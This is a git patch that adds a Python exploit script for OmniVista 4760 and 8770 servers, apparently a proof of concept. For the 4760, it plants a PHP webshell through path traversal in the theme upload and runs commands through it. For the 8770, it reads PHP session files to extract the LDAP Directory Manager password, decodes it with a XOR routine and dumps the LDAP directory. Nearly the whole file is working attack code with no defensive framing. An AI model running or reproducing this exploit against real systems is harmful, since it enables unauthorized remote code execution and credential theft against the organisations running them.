From c04b26a7ff2f335aea8633e892a7cd39f10c7fe0 Mon Sep 17 00:00:00 2001
From: Giulio <giulio@gmx.com>
Date: Fri, 22 Nov 2019 10:17:43 +0100
Subject: [PATCH] Insert

---
 README.md    |   0
 omnivista.py | 116 +++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 116 insertions(+)
 create mode 100644 README.md
 create mode 100755 omnivista.py

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/omnivista.py b/omnivista.py
new file mode 100755
index 0000000..16b9329
--- /dev/null
+++ b/omnivista.py
@@ -0,0 +1,116 @@
+import requests
+import socket
+import ldap
+from urllib.parse import urlparse
+from urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
+
+class OmniVista:
+	def __init__(self, host):
+		self.host = host
+		self.addr = (urlparse(self.host).hostname)
+		self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
+		self.filename = "poc.php"
+		self.webshell = "<?php system($_REQUEST[0]) ?>"
+
+	def identify(self):
+		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
+		if '8770' in r.text:
+			return 8770
+		elif '4760' in r.text:
+			return 4760
+		else:
+			return False
+
+	def checkldap(self):
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(10)
+		result = s.connect_ex((self.addr, 389))
+		if result == 0:
+			return True
+
+	def info(self):
+		r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
+		if 'PHP Version' in r.text:
+			return r.text
+		else:
+			return False
+
+	def getpassword(self):
+		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
+		id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
+		r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
+		lenght = int(r.text.split("ldapSuPass")[1][3:5])
+		password = r.text.split("ldapSuPass")[1][7:7+lenght]
+		return password
+
+	def decodepassword(self, password):
+		counter = 0
+		key = 16
+		cleartext = ""
+		if password[0:5] == "{NMC}":
+			password = password[5:]
+		else:
+			return False
+		for char in password:
+			if 32 <= ord(char):
+				char = chr(ord(char) ^ key)
+				cleartext += char
+			else:
+				cleartext += char
+			if ord(char) != 0:
+				key = counter * ord(char) % 255 >> 3
+			else:
+				key = 16
+			counter += 1
+		return cleartext
+
+	def connectldap(self):
+		connect = ldap.initialize('ldap://' + self.addr)
+		connect.set_option(ldap.OPT_REFERRALS, 0)
+		connect.simple_bind_s(self.username, self.password)
+		result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE)
+		print(result)
+
+	def exploit4760(self):
+		for folder in self.folders:
+			r = requests.post(self.host + 'php-bin/webclient.php', 
+				data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
+				files = { "BgImg1": (self.filename, self.webshell, "image/png")},
+			verify=False)
+			if 'success' in r.text:
+				self.folder = folder
+				return True
+
+	def exec4760(self, cmd):
+		return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
+
+	def autoexploit(self):
+		print('[*] Attempting to exploit on {}'.format(self.host))
+		self.model = self.identify()
+		if self.model == 4760:
+			print('[*] Model is {}'.format(str(self.model)))
+			self.exploit4760()
+			print('[*] Upload folder is {}'.format(self.folder))
+			output = self.exec4760("whoami")
+			print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
+			print('[*] Command output: '.format(output))
+		elif self.model == 8770:
+			print('[*] Model is {}'.format(str(self.model)))
+			self.username = "cn=Directory Manager"
+			self.password = self.decodepassword(self.getpassword())
+			print('[*] {} password is "{}"'.format(self.username, self.password))
+			if self.checkldap():
+				print('[*] LDAP Service is accessible!')
+				self.connectldap()
+				print("Stuff here")
+			else:
+				print("[x] LDAP Service is not directly accessible")
+				return False
+
+		else:
+			print("[x] Target is not an OmniVista 4760/8770")
+			return False
+
+#exploit = OmniVista('')
+#exploit.autoexploit()